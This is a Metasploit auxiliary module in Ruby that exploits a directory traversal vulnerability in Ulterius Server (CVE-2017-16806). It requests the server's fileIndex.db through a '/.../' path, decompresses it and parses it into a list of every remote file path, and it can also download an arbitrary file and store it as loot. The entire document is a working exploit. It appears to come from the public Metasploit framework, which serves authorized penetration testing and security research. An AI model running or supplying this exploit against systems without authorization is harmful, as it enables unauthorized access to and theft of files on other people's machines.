##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Ulterius Server File Download Vulnerability',
        'Description' => %q{
          This module exploits a directory traversal vulnerability in Ulterius Server < v1.9.5.0
          to download files from the affected host. A valid file path is needed to download a file.
          Fortunately, Ulterius indexes every file on the system, which can be stored in the
          following location:

          http://ulteriusURL:port/.../fileIndex.db.

          This module can download and parse the fileIndex.db file. There is also an option to
          download a file using a provided path.
        },
        'Author' => [
          'Rick Osgood', # Vulnerability discovery and PoC
          'Jacob Robles' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'EDB', '43141' ],
          [ 'CVE', '2017-16806' ]
        ]
      )
    )

    register_options(
      [
        Opt::RPORT(22006),
        OptString.new('PATH', [true, 'Path to the file to download', '/.../fileIndex.db']),
      ]
    )
  end

  def process_data(index, parse_data)
    length = parse_data[index].unpack('C')[0]
    length += parse_data[index + 1].unpack('C')[0]
    length += parse_data[index + 2].unpack('C')[0]
    length += parse_data[index + 3].unpack('C')[0]

    index += 4
    filename = parse_data[index...index + length]
    index += length
    return index, filename
  end

  def inflate_parse(data)
    zi = Zlib::Inflate.new(-15)
    data_inflated = zi.inflate(data)

    parse_data = data_inflated[8...-1]
    remote_files = ''

    index = 0
    print_status('Starting to parse fileIndex.db...')
    while index < parse_data.length
      index, filename = process_data(index, parse_data)
      index, directory = process_data(index, parse_data)
      remote_files << directory + '\\' + filename + "\n"

      # skip FFFFFFFFFFFFFFFF
      index += 8
    end
    myloot = store_loot('ulterius.fileIndex.db', 'text/plain', datastore['RHOST'], remote_files, 'fileIndex.db', 'Remote file system')
    print_status("Remote file paths saved in: #{myloot}")
  end

  def run
    path = datastore['PATH']
    # Always make sure there is a starting slash so as an user,
    # we don't need to worry about it.
    path = "/#{path}" if path && path[0] != '/'

    print_status("Requesting: #{path}")

    begin
      res = send_request_cgi({
        'uri' => normalize_uri(path),
        'method' => 'GET'
      })
    rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,
           Rex::HostUnreachable, Errno::ECONNRESET => e
      vprint_error("Failed: #{e.class} - #{e.message}")
      return
    end

    if res && res.code == 200
      if path =~ /fileIndex\.db/i
        inflate_parse(res.body)
      else
        myloot = store_loot('ulterius.file.download', 'text/plain', datastore['RHOST'], res.body, path, 'Remote file system')
        print_status("File contents saved: #{myloot}")
      end
    end
  end

end
